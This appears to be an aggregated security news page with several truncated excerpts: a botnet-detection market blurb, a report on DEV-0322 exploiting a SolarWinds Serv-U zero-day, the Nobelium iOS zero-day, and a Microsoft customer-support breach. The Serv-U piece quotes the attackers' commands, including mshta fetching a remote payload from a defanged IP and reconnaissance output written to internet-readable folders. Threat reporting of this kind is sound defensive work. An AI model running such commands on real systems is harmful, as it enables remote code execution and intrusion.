Increasing Demand of Botnet Detection Market by 2027 with Top Key Players like Webroot, SolarWinds, ShieldSquare, GeeTest, DataDome

/in


A botnet is a network, comprised of internet-connected devices or autonomous programs or bots, which may include PCs, servers, mobile devices and internet of things devices. Each individual device in a botnet is referred to as a bot, which is formed when a computer gets infected with malware that enables third-party control. The users are often left unaware of a botnet infecting their system. With the help of botnet detection, these infections and malware practices can be detected.

Chinese hackers use new SolarWinds zero-day in targeted attacks

/in


Microsoft Defender

China-based hackers known to target US defense and software companies are now targeting organizations using a vulnerability in the SolarWinds Serv-U FTP server.

Today, SolarWinds released a security update for a zero-day vulnerability in Serv-U FTP servers that allow remote code execution when SSH is enabled.

According to SolarWinds, this vulnerability was disclosed by Microsoft, who saw a threat actor actively exploiting it to execute commands on vulnerable customer’s devices.

Tonight, Microsoft revealed that the attacks are attributed with high confidence to a China-based threat group tracked as ‘DEV-0322.’

“This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure,” says a new blog post by the Microsoft Threat Intelligence Center.

Microsoft says the DEV-0322 hacking group has previously targeted entities in the US Defense Industrial Base Sector and software companies.

“The DIB Sector is the worldwide industrial complex that enables research and development (R&D), as well as design, production, delivery, and maintenance of military weapons systems, subsystems, and components or parts, to meet U.S. military requirements,” explains a CISA document describing the DIB sector.

Attacks detected by Microsoft 365 Defender telemetry

Microsoft says they first learned of the attacks after Microsoft 365 Defender telemetry showed a normally harmless Serv-U process spawning anomalous malicious processes.

Some of the commands executed through the remote code execution vulnerability are listed below.

C:WindowsSystem32mshta.exe http://144[.]34[.]179[.]162/a (defanged)

cmd.exe /c whoami > “./Client/Common/redacted.txt”

cmd.exe /c dir > “.ClientCommonredacted.txt”

cmd.exe /c “”C:WindowsTempServ-U.bat””

powershell.exe C:WindowsTempServ-U.bat

cmd.exe /c type \redactedredacted.Archive > “C:ProgramDataRhinoSoftServ-UUsersGlobal Usersredacted.Archive”

“We observed DEV-0322 piping the output of their cmd.exe commands to files in the Serv-U ClientCommon folder, which is accessible from the internet by default, so that the attackers…

iOS zero-day let SolarWinds hackers compromise fully updated iPhones

/in


The word ZERO-DAY is hidden amidst a screen filled with ones and zeroes.

The Russian state hackers who orchestrated the SolarWinds supply chain attack last year exploited an iOS zero-day as part of a separate malicious email campaign aimed at stealing Web authentication credentials from Western European governments, according to Google and Microsoft.

In a post Google published on Wednesday, researchers Maddie Stone and Clement Lecigne said a “likely Russian government-backed actor” exploited the then-unknown vulnerability by sending messages to government officials over LinkedIn.

Moscow, Western Europe, and USAID

Attacks targeting CVE-2021-1879, as the zero-day is tracked, redirected users to domains that installed malicious payloads on fully updated iPhones. The attacks coincided with a campaign by the same hackers who delivered malware to Windows users, the researchers said.

The campaign closely tracks to one Microsoft disclosed in May. In that instance, Microsoft said that Nobelium—the name the company uses to identify the hackers behind the SolarWinds supply chain attack—first managed to compromise an account belonging to USAID, a US government agency that administers civilian foreign aid and development assistance. With control of the agency’s account for online marketing company Constant Contact, the hackers could send emails that appeared to use addresses known to belong to the US agency.

The federal government has attributed last year’s supply chain attack to hackers working for Russia’s Foreign Intelligence Service (abbreviated as SVR). For more than a decade, the SVR has conducted malware campaigns targeting governments, political think tanks, and other organizations in countries like Germany, Uzbekistan, South Korea, and the US. Targets have included the US State Department and the White House in 2014. Other names used to identify the group include APT29, the Dukes, and Cozy Bear.

In an email, Shane Huntley, the head of Google’s Threat Analysis Group, confirmed the connection between the attacks involving USAID and the iOS zero-day, which resided in the WebKit browser engine.

“These are two different campaigns, but based on our visibility, we consider the actors behind the…

Microsoft discloses new customer hack linked to SolarWinds cyberattackers

/in


Microsoft Corp. said hackers, linked by U.S. authorities to Russia’s Foreign Intelligence Service, installed malicious information-stealing software on one of its systems and used information gleaned there to attack its customers.

The hackers compromised a computer used by a Microsoft customer support employee that could have provided access to different types of information, including “metadata” of accounts and billing contact information for the organization, a Microsoft spokesman said.

Microsoft is aware of three customers that were affected by the recent activity, the company said in a blog post.

“The actor used this information in some cases to launch highly-targeted attacks as part of their broader campaign,” Microsoft said. “We responded quickly, removed the access and secured the device.”

The incident was part of a broader campaign—which involved other hacking techniques beyond leveraging the information taken from its support system—that primarily targeted technology companies and government agencies in 36 countries.

Most of the attacks were unsuccessful, but three of Microsoft’s customers were compromised during the campaign, the company said. “We have confirmed that two of the compromises were unrelated to the support agent issue, and are continuing to investigate the third instance,” a Microsoft spokesman said.

Microsoft identified the hackers behind the break-in as Nobelium, the same group associated with the sophisticated hack at Austin, Texas-based software maker SolarWinds Corp. U.S. authorities have said this group is part of Russia’s Foreign Intelligence Service, known as the SVR. Russia has denied involvement in the SolarWinds hack. A Russian embassy representative didn’t immediately return a message seeking comment on Microsoft’s blog post.

“This should concern all of us,” said Sherri Davidoff, chief executive of the security consulting firm LMG Security LLC. “Hackers made it past the defenses of one of the world’s most sophisticated technology suppliers, whose software underlies our entire economy.”
